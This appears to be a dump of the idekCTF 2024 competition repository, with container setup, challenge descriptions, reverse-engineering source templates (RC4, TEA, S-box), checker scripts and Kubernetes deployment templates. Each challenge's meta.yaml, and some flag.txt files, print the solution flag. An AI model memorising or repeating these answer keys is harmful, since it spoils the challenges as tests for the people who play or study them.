| # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | FROM ubuntu:20.04@sha256:ed4a42283d9943135ed87d4ee34e542f7f5ad9ecf2f244870e23122f703f91c2 AS chroot 15 | 16 | RUN /usr/sbin/useradd --no-create-home -u 1000 user 17 | 18 | COPY flag.txt / 19 | COPY write_me /home/user/chal 20 | 21 | FROM gcr.io/kctf-docker/challenge@sha256:0f7d757bcda470c3bbc063606335b915e03795d72ba1d8fdb6f0f9ff3757364f 22 | 23 | COPY --from=chroot / /chroot 24 | 25 | COPY nsjail.cfg /home/user/ 26 | 27 | CMD kctf_setup && \ 28 | kctf_drop_privs \ 29 | socat \ 30 | TCP-LISTEN:1337,reuseaddr,fork \ 31 | EXEC:"kctf_pow nsjail --config /home/user/nsjail.cfg -- /home/user/chal" 32 | -------------------------------------------------------------------------------- /pwn/write-me/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | idek{vfprintf_is_the_new_printf_and_I_love_that} 2 | -------------------------------------------------------------------------------- /pwn/write-me/challenge/write_me: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idekctf/idekctf-2024/2ebed09238d32b6a80b28820c2e3bcf0411b99a2/pwn/write-me/challenge/write_me -------------------------------------------------------------------------------- /pwn/write-me/healthcheck/Dockerfile: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | FROM gcr.io/kctf-docker/healthcheck@sha256:6709709a8cfd6e2d743c86d58398c00ca4eb26befd3b1a0a629ab35f91e98ef0 15 | 16 | COPY healthcheck_loop.sh healthcheck.py healthz_webserver.py /home/user/ 17 | 18 | CMD kctf_drop_privs /home/user/healthcheck_loop.sh & /home/user/healthz_webserver.py 19 | -------------------------------------------------------------------------------- /pwn/write-me/healthcheck/README.md: -------------------------------------------------------------------------------- 1 | # Healthcheck 2 | 3 | kCTF checks the health of challenges by accessing the healthcheck via 4 | http://host:45281/healthz which needs to return either 200 ok or an error 5 | depending on the status of the challenge. 6 | 7 | The default healthcheck consists of: 8 | * a loop that repeatedly calls a python script and writes the status to a file 9 | * a webserver that checks the file and serves /healthz 10 | * the actual healthcheck code using pwntools for convenience 11 | 12 | To modify it, you will likely only have to change the script in healthcheck.py. 13 | You can test if the challenge replies as expected or better add a full example 14 | solution that will try to get the flag from the challenge. 15 | -------------------------------------------------------------------------------- /pwn/write-me/healthcheck/healthcheck_loop.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Copyright 2020 Google LLC 3 | # 4 | # Licensed under the Apache License, Version 2.0 (the "License"); 5 | # you may not use this file except in compliance with the License. 6 | # You may obtain a copy of the License at 7 | # 8 | # https://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | set -Eeuo pipefail 16 | 17 | TIMEOUT=60 18 | PERIOD=120 19 | 20 | export TERM=linux 21 | export TERMINFO=/etc/terminfo 22 | 23 | while true; do 24 | echo -n "[$(date)] " 25 | if timeout "${TIMEOUT}" /home/user/healthcheck.py; then 26 | echo 'ok' | tee /tmp/healthz 27 | else 28 | echo -n "$? " 29 | echo 'err' | tee /tmp/healthz 30 | fi 31 | sleep "${PERIOD}" 32 | done 33 | -------------------------------------------------------------------------------- /pwn/write-me/meta.yaml: -------------------------------------------------------------------------------- 1 | name: Write me 2 | author: JoshL 3 | public: true 4 | flag: idek{vfprintf_is_the_new_printf_and_I_love_that} 5 | description: |- 6 | We all know the format string %n writes to data memory. Cool! Now do that 16 times. Without control of the arguments. In a single printf call??? wtf? -------------------------------------------------------------------------------- /rev/Game/README.md: -------------------------------------------------------------------------------- 1 | # Game 2 | **Category:** rev 3 | 4 | **Difficulty:** easy 5 | 6 | **Author:** Elvis 7 | 8 | ## Description 9 | I have pulled a game from https://github.com/shlomnissan/trex-runner and modified it to add a reward for players who achieve a high enough score. Check it out! -------------------------------------------------------------------------------- /rev/Game/attachments/bass.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idekctf/idekctf-2024/2ebed09238d32b6a80b28820c2e3bcf0411b99a2/rev/Game/attachments/bass.dll -------------------------------------------------------------------------------- /rev/Game/attachments/music.xm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idekctf/idekctf-2024/2ebed09238d32b6a80b28820c2e3bcf0411b99a2/rev/Game/attachments/music.xm -------------------------------------------------------------------------------- /rev/Game/attachments/sfx_achievement.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idekctf/idekctf-2024/2ebed09238d32b6a80b28820c2e3bcf0411b99a2/rev/Game/attachments/sfx_achievement.wav -------------------------------------------------------------------------------- /rev/Game/attachments/sfx_hit.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idekctf/idekctf-2024/2ebed09238d32b6a80b28820c2e3bcf0411b99a2/rev/Game/attachments/sfx_hit.wav -------------------------------------------------------------------------------- /rev/Game/attachments/sfx_jump.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idekctf/idekctf-2024/2ebed09238d32b6a80b28820c2e3bcf0411b99a2/rev/Game/attachments/sfx_jump.wav -------------------------------------------------------------------------------- /rev/Game/attachments/spritesheet.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idekctf/idekctf-2024/2ebed09238d32b6a80b28820c2e3bcf0411b99a2/rev/Game/attachments/spritesheet.png -------------------------------------------------------------------------------- /rev/Game/attachments/trex_runner.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idekctf/idekctf-2024/2ebed09238d32b6a80b28820c2e3bcf0411b99a2/rev/Game/attachments/trex_runner.exe -------------------------------------------------------------------------------- /rev/Game/meta.yaml: -------------------------------------------------------------------------------- 1 | name: Game 2 | author: Elvis 3 | public: true 4 | flag: idek{Y0U_MuST_BE_n3ItheR_a_prO_PlaY3R_N0r_@_cHeATer} 5 | description: |- 6 | I have pulled a game from https://github.com/shlomnissan/trex-runner and modified it to add a reward for players who achieve a high enough score. Check it out! -------------------------------------------------------------------------------- /rev/hide-and-seek/README.md: -------------------------------------------------------------------------------- 1 | # Hide n Seek 2 | **Category:** rev 3 | 4 | **Difficulty:** medium - hard 5 | 6 | **Author:** Elvis 7 | 8 | ## Description 9 | Do you want to play a game? I want to play a game. Let's play hide n seek. The rule is simple: Find the correct password. (Sorry for string idekCTF 2023. This was supposed to be an idekCTF 2023 challenge, but it never happened) -------------------------------------------------------------------------------- /rev/hide-and-seek/attachments/idekctf_hideandseek.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idekctf/idekctf-2024/2ebed09238d32b6a80b28820c2e3bcf0411b99a2/rev/hide-and-seek/attachments/idekctf_hideandseek.exe -------------------------------------------------------------------------------- /rev/hide-and-seek/meta.yaml: -------------------------------------------------------------------------------- 1 | name: Hide n Seek 2 | author: Elvis 3 | public: true 4 | flag: idek{id3K_WHEr3_IS_ThE_Fl4g} 5 | description: |- 6 | Do you want to play a game? I want to play a game. Let's play hide n seek. The rule is simple: Find the correct password. (Sorry for string idekCTF 2023. This was supposed to be an idekCTF 2023 challenge, but it never happened) 7 | 8 | 9 | Hint: There is a dll loaded somewhere. Find it -------------------------------------------------------------------------------- /rev/metronome/README.md: -------------------------------------------------------------------------------- 1 | # Ribasu Metronome 2 | ## Rythm 3 | 4 | Utaha made a flag checker that works *most* of the time. Sometimes it's hard to make up your mind. 5 | 6 | **Attachments**: metronome 7 | -------------------------------------------------------------------------------- /rev/metronome/attachments/metronome: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idekctf/idekctf-2024/2ebed09238d32b6a80b28820c2e3bcf0411b99a2/rev/metronome/attachments/metronome -------------------------------------------------------------------------------- /rev/metronome/debug/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | python3 filltemplate.py 3 | gcc -o metronome metronome.c -s 4 | -------------------------------------------------------------------------------- /rev/metronome/debug/filltemplate.py: -------------------------------------------------------------------------------- 1 | with open('metronome-template.c', 'r') as f: 2 | prog = f.read() 3 | 4 | with open('params.txt', 'r') as f: 5 | params = f.readlines() 6 | 7 | prog = prog.replace('{n}', params[0]) 8 | prog = prog.replace('{edg}', params[1]) 9 | prog = prog.replace('{bnd}', params[2]) 10 | 11 | with open('metronome.c', 'w') as f: 12 | f.write(prog) 13 | -------------------------------------------------------------------------------- /rev/metronome/debug/flag.txt: -------------------------------------------------------------------------------- 1 | idekCTF{1_l0v3_k4t0u_but_1_4ls0_l0v3_ut4h4_1s_th1s_th3_m3tr0n0m3} 2 | -------------------------------------------------------------------------------- /rev/metronome/debug/metronome: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idekctf/idekctf-2024/2ebed09238d32b6a80b28820c2e3bcf0411b99a2/rev/metronome/debug/metronome -------------------------------------------------------------------------------- /rev/metronome/meta.yaml: -------------------------------------------------------------------------------- 1 | name: Ribasu Metronome 2 | author: Rythm 3 | public: true 4 | flag: idekCTF{1_l0v3_k4t0u_but_1_4ls0_l0v3_ut4h4_1s_th1s_th3_m3tr0n0m3} 5 | description: |- 6 | Utaha made a flag checker that works most of the time. Sometimes it's hard to make up your mind. -------------------------------------------------------------------------------- /rev/metronome/scripts/extract.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | rm ../attachments/* 4 | cp ../challenge/metronome ../attachments/ 5 | -------------------------------------------------------------------------------- /rev/minions-in-4k/README.md: -------------------------------------------------------------------------------- 1 | # Minion render in 4k 2 | **Category:** rev 3 | 4 | **Difficulty:** easy - medium 5 | 6 | **Author:** mixy1 7 | 8 | ## Description 9 | Look I'm rendering the minion movie in 4k :O 10 | 11 | ──────────▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ 12 | ────────█═════════════════█ 13 | ──────█═════════════════════█ 14 | ─────█════════▄▄▄▄▄▄▄════════█ 15 | ────█════════█████████════════█ 16 | ────█═══════██▀─────▀██═══════█ 17 | ───███████████──█▀█──███████████ 18 | ───███████████──▀▀▀──███████████ 19 | ────█═══════▀█▄─────▄█▀═══════█ 20 | ────█═════════▀█████▀═════════█ 21 | ────█═════════════════════════█ 22 | ────█══════▀▄▄▄▄▄▄▄▄▄▀════════█ 23 | ───▐▓▓▌═════════════════════▐▓▓▌ 24 | ───▐▐▓▓▌▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▐▓▓▌▌ 25 | ───█══▐▓▄▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▄▓▌══█ 26 | ──█══▌═▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▌═▐══█ 27 | ──█══█═▐▓▓▓▓▓▓▄▄▄▄▄▄▄▓▓▓▓▓▓▌═█══█ 28 | ──█══█═▐▓▓▓▓▓▓▐██▀██▌▓▓▓▓▓▓▌═█══█ 29 | ──█══█═▐▓▓▓▓▓▓▓▀▀▀▀▀▓▓▓▓▓▓▓▌═█══█ 30 | ──█══█▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓█══█ 31 | ─▄█══█▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▌█══█▄ 32 | ─█████▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▌─█████ 33 | ─██████▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▌─██████ 34 | ──▀█▀█──▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▌───█▀█▀ 35 | ─────────▐▓▓▓▓▓▓▌▐▓▓▓▓▓▓▌ 36 | ──────────▐▓▓▓▓▌──▐▓▓▓▓▌ 37 | ─────────▄████▀────▀████▄ 38 | ─────────▀▀▀▀────────▀▀▀▀ 39 | 40 | OH WAIT OH NO I'M NOT EVEN RENDERING TO THE SCREEN 😭😭😭 41 | -------------------------------------------------------------------------------- /rev/minions-in-4k/attachments/.gitattributes: -------------------------------------------------------------------------------- 1 | minions-in-4k.tar.gz filter=lfs diff=lfs merge=lfs -text 2 | -------------------------------------------------------------------------------- /rev/minions-in-4k/attachments/minions-in-4k.tar.gz: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:2623ef4d75904341775ab034dd012d1cece01f2cb655ab2e30a55761a3d01096 3 | size 88372899 4 | -------------------------------------------------------------------------------- /rev/nlibs-baby/README.md: -------------------------------------------------------------------------------- 1 | # nlibs Baby 2 | **Category:** rev 3 | 4 | **Difficulty:** medium - hard 5 | 6 | **Author:** JoshL 7 | 8 | ## Description 9 | In celebration on qualifying for DEFCON CTF Finals, I have prepared a throwback challenge! 10 | -------------------------------------------------------------------------------- /rev/nlibs-baby/attachments/baby.tar.gz: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:ecff6990a610c7bd7f680c6c7d2a23b0aac2884ff16d6af568e5cad6d8ba100f 3 | size 5120731 4 | -------------------------------------------------------------------------------- /rev/nlibs-baby/meta.yaml: -------------------------------------------------------------------------------- 1 | name: nlibs baby 2 | author: JoshL 3 | flag: idek{now_do_this_9999_more_times} 4 | public: true 5 | attachments: 6 | - baby.tar.gz 7 | description: |- 8 | In celebration on qualifying for DEFCON CTF Finals, I have prepared a throwback challenge! 9 | 10 | Note: There's a $50 USD author bounty on this challenge first blood. -------------------------------------------------------------------------------- /rev/nlibs/README.md: -------------------------------------------------------------------------------- 1 | # nlibs 2 | **Category:** rev 3 | 4 | **Difficulty:** hard 5 | 6 | **Author:** JoshL 7 | 8 | ## Description 9 | What's not to love about a DEFCON style challenge than a two part rev challenge? 10 | -------------------------------------------------------------------------------- /rev/nlibs/attachments/nlibs.tar.gz: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:ecf4a64be392b71b1ae9d2efba397ab291e6e90d3321b7a128962e697f5eb8fe 3 | size 875745478 4 | -------------------------------------------------------------------------------- /rev/nlibs/debug/Makefile: -------------------------------------------------------------------------------- 1 | all: clean gen 2 | 3 | clean: 4 | rm -f src/main.c99 5 | 6 | gen: 7 | python gen_sources.py 8 | gcc -E -C src/main.c -o src/main.c99 9 | python clean.py 10 | python obf.py 11 | cp src/*.h build/ 12 | 13 | test: 14 | gcc -g src/main.c -o src/main -------------------------------------------------------------------------------- /rev/nlibs/debug/check.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | from pathlib import Path 3 | import tqdm 4 | 5 | context.log_level = 'critical' 6 | 7 | def check(path: Path, ans) -> None: 8 | bin = path / 'main' 9 | con = process(str(bin.absolute()), cwd=path) 10 | con.send(ans) 11 | out = con.recvall() 12 | if out != b'> :)\n': 13 | print(con.poll(True)) 14 | print("WTF", out, path, ans) 15 | 16 | check(Path('out/baby/'), b'idek{now_do_this_9999_more_times}') 17 | 18 | f = open('flag.jpg','rb') 19 | flag = f.read() 20 | k = 128 21 | N = len(flag) 22 | print(N//k) 23 | 24 | random.seed(None) 25 | args = [] 26 | for i in tqdm.tqdm(range(0, N, k)): 27 | ans = flag[i:i+k] 28 | dir = str(i//k) 29 | check(Path(f'out/{dir}/'), ans) -------------------------------------------------------------------------------- /rev/nlibs/debug/templates/matrix.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include "util.h" 7 | 8 | #define MOD 41389 9 | 10 | struct Matrix_t { 11 | int N; 12 | uint32_t** mat; 13 | }; 14 | 15 | void matrix_entry(struct string* str); -------------------------------------------------------------------------------- /rev/nlibs/debug/templates/rc4.c: -------------------------------------------------------------------------------- 1 | #include "rc4.h" 2 | #include "util.h" 3 | 4 | void swap_rc4(uint8_t* a, uint8_t* b){ 5 | uint8_t tmp = *a; 6 | *a = *b; 7 | *b = tmp; 8 | return; 9 | } 10 | 11 | struct rc4_t* init_rc4(uint8_t* key, int len){ 12 | struct rc4_t* rc4 = (struct rc4_t*)malloc(sizeof(struct rc4_t)); 13 | for(int i=0; i<256; i++){ 14 | rc4->S[i]=i; 15 | } 16 | rc4->i = 0; 17 | rc4->j = 0; 18 | int j = 0; 19 | for(int i=0; i<256; i++){ 20 | j = (j + rc4->S[i] + key[i % len]) % 256; 21 | swap_rc4(rc4->S+i, rc4->S+j); 22 | } 23 | return rc4; 24 | } 25 | 26 | uint8_t genByte(struct rc4_t* rc4){ 27 | rc4->i = (rc4->i + 1) % 256; 28 | rc4->j = (rc4->j + rc4->S[rc4->i]) % 256; 29 | swap_rc4(rc4->S+rc4->i, rc4->S+rc4->j); 30 | int t = (rc4->S[rc4->i]+rc4->S[rc4->j]) % 256; 31 | return rc4->S[t]; 32 | } 33 | 34 | void encrypt_rc4(struct rc4_t* rc4, uint8_t* enc, int len){ 35 | for(int i=0; ibuf, str->len); 44 | free(rc4); 45 | } -------------------------------------------------------------------------------- /rev/nlibs/debug/templates/rc4.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | struct rc4_t{ 8 | uint8_t S[256]; 9 | int i; 10 | int j; 11 | }; 12 | 13 | void rc4_entry(struct string* str); -------------------------------------------------------------------------------- /rev/nlibs/debug/templates/sbox.c: -------------------------------------------------------------------------------- 1 | #include "sbox.h" 2 | #include "util.h" 3 | 4 | void sbox_entry(struct string* str){ 5 | uint8_t* sbox = (uint8_t[]){PLACEHOLDER}; 6 | for(int i=0; ilen; i++){ 7 | str->buf[i] = sbox[str->buf[i]]; 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /rev/nlibs/debug/templates/sbox.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | void sbox_entry(struct string* str); -------------------------------------------------------------------------------- /rev/nlibs/debug/templates/sha1.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | struct sha_ctx { 8 | unsigned char data[64]; 9 | unsigned int datalen; 10 | unsigned long long bitlen; 11 | unsigned int state[5]; 12 | unsigned int k[5]; 13 | }; 14 | 15 | void sha1_entry(struct string* str); -------------------------------------------------------------------------------- /rev/nlibs/debug/templates/tea.c: -------------------------------------------------------------------------------- 1 | 2 | #include "tea.h" 3 | #include "util.h" 4 | 5 | #ifndef BLOCK_SIZE 6 | #define BLOCK_SIZE 8 7 | #endif 8 | 9 | void encrypt_tea(uint32_t* v, uint32_t* k) { 10 | uint32_t v0=v[0], v1=v[1], sum=0, i; 11 | uint32_t delta=0x9E3779B9; 12 | uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; 13 | for (i=0; i<32; i++) { 14 | sum += delta; 15 | v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1); 16 | v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3); 17 | } 18 | v[0]=v0; v[1]=v1; 19 | } 20 | 21 | 22 | 23 | 24 | void tea_entry(struct string* str){ 25 | pad(str, BLOCK_SIZE); 26 | uint32_t* buf = (uint32_t*)str->buf; 27 | uint32_t* key = (uint32_t[]){PLACEHOLDER}; 28 | for(int i=0; ilen / sizeof(uint32_t); i += 2){ 29 | encrypt_tea(&(buf[i]), key); 30 | } 31 | } -------------------------------------------------------------------------------- /rev/nlibs/debug/templates/tea.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | void tea_entry(struct string* str); -------------------------------------------------------------------------------- /rev/nlibs/debug/templates/util.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #define uint8_t unsigned char 4 | #define int8_t char 5 | #define uint16_t unsigned short 6 | #define int16_t short 7 | #define uint32_t unsigned int 8 | #define int32_t int 9 | #define uint64_t unsigned long long 10 | #define int64_t long long 11 | 12 | struct string{ 13 | uint8_t* buf; 14 | int len; 15 | }; 16 | 17 | void pad(struct string* str, int block_size){ 18 | int leftover = (block_size - (str->len % block_size)) % block_size; 19 | str->buf = realloc(str->buf, leftover + str->len); 20 | memset(&(str->buf[str->len]), 0, leftover); 21 | str->len += leftover; 22 | } 23 | 24 | void print(struct string* str){ 25 | for(int i=0; ilen; i++){ 26 | printf("%02X ", str->buf[i]); 27 | } 28 | printf("\n"); 29 | } -------------------------------------------------------------------------------- /rev/nlibs/meta.yaml: -------------------------------------------------------------------------------- 1 | name: nlibs 2 | author: JoshL 3 | flag: idek{when_will_we_get_n^2_cuts?} 4 | public: true 5 | attachments: 6 | - nlibs.tar.gz 7 | description: |- 8 | What's not to love about a DEFCON style challenge than a two part rev challenge? 9 | -------------------------------------------------------------------------------- /rev/the-moon/README.md: -------------------------------------------------------------------------------- 1 | # The Moon 2 | **Category:** rev 3 | 4 | **Difficulty:** medium/hard 5 | 6 | **Author:** Trixter & Ling 7 | 8 | ## Description 9 | Someone kept talking about something how they used the moon to hide their flag but I'm not sure what that was all about... 10 | -------------------------------------------------------------------------------- /rev/the-moon/attachments/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM mileschou/lua:5.1-alpine@sha256:fbf3c5a4eb4ab395210701895e11eceb0c67e022b20f7ca1d99d68828a19de4a 2 | 3 | WORKDIR /app 4 | ADD . . 5 | 6 | ENTRYPOINT ["lua", "moon.lua"] -------------------------------------------------------------------------------- /rev/the-moon/attachments/moon.idek: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idekctf/idekctf-2024/2ebed09238d32b6a80b28820c2e3bcf0411b99a2/rev/the-moon/attachments/moon.idek -------------------------------------------------------------------------------- /rev/the-moon/attachments/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | docker build -t the-moon . && docker run --rm -it the-moon -------------------------------------------------------------------------------- /rev/the-moon/meta.yaml: -------------------------------------------------------------------------------- 1 | name: The Moon 2 | author: Trixter & Ling 3 | public: true 4 | flag: idek{th3_m0on_h4t3s_b31ng_t4mp3r3d_w1th_c3aec291} 5 | description: |- 6 | Someone kept talking about something how they used the moon to hide their flag but I'm not sure what that was all about... 7 | -------------------------------------------------------------------------------- /sanity/feedback-survey/meta.yaml: -------------------------------------------------------------------------------- 1 | name: Feedback survey 2 | author: idek 3 | public: true 4 | flag: idek{next_year_will_be_idek_2025...We_promise!} 5 | description: | 6 | Thank you for participating in idekCTF, please let us know how we did! 7 | 8 | [Survey](https://forms.gle/qk9k76bHzLcayr3g7) 9 | min_points: 100 10 | max_points: 100 11 | tiebreakEligible: false -------------------------------------------------------------------------------- /sanity/welcome/meta.yaml: -------------------------------------------------------------------------------- 1 | name: Welcome to idekCTF 2024! 2 | author: idek 3 | public: true 4 | flag: idek{our_hack_fortress_team_is_looking_for_mvm_players} 5 | description: Welcome to idekCTF 2024! Please join our [discord](https://discord.gg/c7w4gKMnAX) for any announcements and updates on challenges. 6 | min_points: 100 7 | max_points: 100 8 | tiebreakEligible: false -------------------------------------------------------------------------------- /scripts/rcds/__init__.py: -------------------------------------------------------------------------------- 1 | from rcds.challenge import Challenge # noqa: F401 2 | from rcds.challenge import ChallengeLoader # noqa: F401 3 | from rcds.project import Project # noqa: F401 4 | -------------------------------------------------------------------------------- /scripts/rcds/backend/__init__.py: -------------------------------------------------------------------------------- 1 | from .backend import BackendBase # noqa: F401 2 | from .backend import BackendContainerRuntime # noqa: F401 3 | from .backend import BackendScoreboard # noqa: F401 4 | from .backend import BackendsInfo # noqa: F401 5 | from .backend import load_backend_module # noqa: F401 6 | -------------------------------------------------------------------------------- /scripts/rcds/backends/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/idekctf/idekctf-2024/2ebed09238d32b6a80b28820c2e3bcf0411b99a2/scripts/rcds/backends/__init__.py -------------------------------------------------------------------------------- /scripts/rcds/backends/k8s/__init__.py: -------------------------------------------------------------------------------- 1 | from .backend import get_info # noqa: F401 2 | -------------------------------------------------------------------------------- /scripts/rcds/backends/k8s/jinja.py: -------------------------------------------------------------------------------- 1 | from textwrap import dedent 2 | from typing import Any, Dict, Optional 3 | 4 | import yaml 5 | from jinja2 import Environment, PackageLoader, filters 6 | 7 | jinja_env = Environment( 8 | loader=PackageLoader("rcds.backends.k8s", "templates"), 9 | autoescape=False, 10 | trim_blocks=True, 11 | lstrip_blocks=True, 12 | ) 13 | 14 | 15 | def jinja_filter_indent(data: str, *args, **kwargs) -> str: 16 | return filters.do_indent(dedent(data), *args, **kwargs) 17 | 18 | 19 | def jinja_filter_yaml(data: Dict[str, Any], indent: Optional[int] = None) -> str: 20 | output = yaml.dump(data).strip() 21 | if indent is not None: 22 | output = jinja_filter_indent(output, indent) 23 | return output 24 | 25 | 26 | jinja_env.filters["indent"] = jinja_filter_indent 27 | jinja_env.filters["yaml"] = jinja_filter_yaml 28 | jinja_env.filters["quote"] = lambda s: repr(str(s)) 29 | -------------------------------------------------------------------------------- /scripts/rcds/backends/k8s/templates/_helpers.jinja: -------------------------------------------------------------------------------- 1 | {% macro common_labels() %} 2 | app.kubernetes.io/managed-by: rcds 3 | rcds.redpwn.net/challenge-id: {{ challenge.id }} 4 | {%- endmacro %} 5 | {% macro container_labels() %} 6 | rcds.redpwn.net/container-name: {{ container.name }} 7 | rcds.redpwn.net/visibility: {{ 'public' if container.expose is not none else 'private' }} 8 | {%- endmacro %} 9 | -------------------------------------------------------------------------------- /scripts/rcds/backends/k8s/templates/ingress.yaml: -------------------------------------------------------------------------------- 1 | {% import '_helpers.jinja' as helpers with context %} 2 | {% if container.expose %} 3 | {% set httpPorts = container.expose|selectattr("http", "defined")|list %} 4 | {% if httpPorts | first is defined %} 5 | apiVersion: networking.k8s.io/v1beta1 6 | kind: Ingress 7 | metadata: 8 | namespace: {{ namespace }} 9 | name: {{ container.name }} 10 | labels: 11 | {{ helpers.common_labels() | indent(4) }} 12 | {{ helpers.container_labels() | indent(4) }} 13 | {% if options.annotations and options.annotations.ingress %} 14 | annotations: 15 | {{ options.annotations.ingress | yaml(4) }} 16 | {% endif %} 17 | spec: 18 | rules: 19 | {% for httpPort in httpPorts %} 20 | - host: {{ httpPort.http }} 21 | http: 22 | paths: 23 | - path: / 24 | backend: 25 | serviceName: {{ container.name }} 26 | servicePort: {{ httpPort.target }} 27 | {% endfor %} 28 | {% endif %} 29 | {% endif %} 30 | -------------------------------------------------------------------------------- /scripts/rcds/backends/k8s/templates/namespace.yaml: -------------------------------------------------------------------------------- 1 | {% import '_helpers.jinja' as helpers with context %} 2 | apiVersion: v1 3 | kind: Namespace 4 | metadata: 5 | name: {{ namespace }} 6 | labels: 7 | name: {{ namespace }} 8 | {{ helpers.common_labels() | indent(4) }} 9 | -------------------------------------------------------------------------------- /scripts/rcds/backends/k8s/templates/network-policy.yaml: -------------------------------------------------------------------------------- 1 | {% import '_helpers.jinja' as helpers with context %} 2 | apiVersion: networking.k8s.io/v1 3 | kind: NetworkPolicy 4 | metadata: 5 | namespace: {{ namespace }} 6 | name: network-policy-private 7 | labels: 8 | {{ helpers.common_labels() | indent(4) }} 9 | spec: 10 | podSelector: 11 | matchLabels: 12 | {{ helpers.common_labels() | indent(6) }} 13 | rcds.redpwn.net/visibility: private 14 | policyTypes: 15 | - Ingress 16 | - Egress 17 | ingress: 18 | - from: 19 | - namespaceSelector: 20 | matchLabels: 21 | {{ helpers.common_labels() | indent(14) }} 22 | egress: 23 | - to: 24 | - namespaceSelector: 25 | matchLabels: 26 | {{ helpers.common_labels() | indent(14) }} 27 | -------------------------------------------------------------------------------- /scripts/rcds/backends/k8s/templates/service.yaml: -------------------------------------------------------------------------------- 1 | {% import '_helpers.jinja' as helpers with context %} 2 | {% if container.config.ports %} 3 | apiVersion: v1 4 | kind: Service 5 | metadata: 6 | namespace: {{ namespace }} 7 | name: {{ container.name }} 8 | labels: 9 | {{ helpers.common_labels() | indent(4) }} 10 | {{ helpers.container_labels() | indent(4) }} 11 | {% if options.annotations and options.annotations.service %} 12 | annotations: 13 | {{ options.annotations.service | yaml(4) }} 14 | {% endif %} 15 | spec: 16 | type: {{ 'NodePort' if container.expose is not none and container.expose|selectattr("tcp", "defined")|first is defined else 'ClusterIP' }} 17 | selector: 18 | {{ helpers.common_labels() | indent(4) }} 19 | {{ helpers.container_labels() | indent(4) }} 20 | ports: 21 | {% for port in container.config.ports %} 22 | - port: {{ port }} 23 | targetPort: {{ port }} 24 | name: port-{{ port }} 25 | {% set exposedPort = container.expose|selectattr("target", "eq", port)|first %} 26 | {% if exposedPort and exposedPort.tcp %} 27 | nodePort: {{ exposedPort.tcp }} 28 | {% endif %} 29 | {% endfor %} 30 | {% endif %} 31 | -------------------------------------------------------------------------------- /scripts/rcds/backends/rctf/__init__.py: -------------------------------------------------------------------------------- 1 | from .backend import get_info # noqa: F401 2 | -------------------------------------------------------------------------------- /scripts/rcds/backends/rctf/options.schema.yaml: -------------------------------------------------------------------------------- 1 | $schema: 